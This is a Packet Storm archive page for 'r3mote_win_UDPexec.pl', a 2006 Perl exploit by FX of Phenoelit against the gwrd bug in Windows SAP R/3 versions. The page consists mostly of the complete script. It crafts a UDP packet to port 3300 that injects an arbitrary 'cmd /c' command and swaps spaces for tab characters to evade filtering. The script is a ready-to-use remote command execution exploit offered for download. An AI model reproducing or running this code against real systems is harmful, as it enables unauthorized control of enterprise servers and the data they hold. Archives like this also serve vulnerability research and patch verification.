exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

r3mote_win_UDPexec.pl.txt

r3mote_win_UDPexec.pl.txt
Posted Nov 14, 2006
Authored by FX

Original Win32 version of the exploit for the gwrd bug in SAP versions below 4.6D patch 1767 and versions below 6.40 patch 4. Allows for remote command execution.

tags | exploit, remote
systems | windows
SHA-256 | 846933d938c8ba642bdaaea38a839367e37ffc3c050691922428ea4ccbdad92d

r3mote_win_UDPexec.pl.txt

Change Mirror Download
#!/usr/bin/perl -w
use IO::Socket;

#
# Executes the command given as first argument as a child process of
# gwrd in Windows R/3 environments. Request packet may not contain space
# character (0x20). The command interpreter must obviously be modified
# for other (UNIX) environments.
#
# 2003, FX of Phenoelit <fx@phenoelit.de>
#

$|=1;

# MSDN documentation of CreateProcess() :
# http://msdn.microsoft.com/library/en-us/dllproc/base/createprocess.asp

die "Give command" unless ($command=shift);
die "Give host" unless ($host=shift);
$port="3300" unless ($port=shift);

$command=~s/ /\x09/g;

$request =
"\x01".
"\x02".
"\x41\x42\x43".
"\x01".
"\x20".
"\x00\x00\x00".
"\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50".
"\x51\x51\x51\x51\x51\x51\x51\x51\x51\x51".
"\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52".
"\x53\x53\x53\x53\x53\x53\x53\x53\x53\x53".
"\x54\x54\x09\x09\x09\x09\x09\x09\x09\x09".
"A\x09\x09\x09\x09\x09\x09\x09\x09".
"AAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00".
# Command to be injected, must end with && since 0x00
# termination does not work here
"cmd\x09/c\x09(".$command.")\x09"."&&".
"";


&send_UDP($host,$port);

exit 0;

sub send_UDP {
my $remote;
my $rline;
my $dest;
my $port;

($dest,$port) = @_;

$remote =
IO::Socket::INET->new(Proto=>"udp",PeerAddr=>$dest,PeerPort=>"$port",);
unless ($remote) { die "cannot get socket for $dest" }
$remote->autoflush(1);
print $remote $request;

close $remote;
}
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close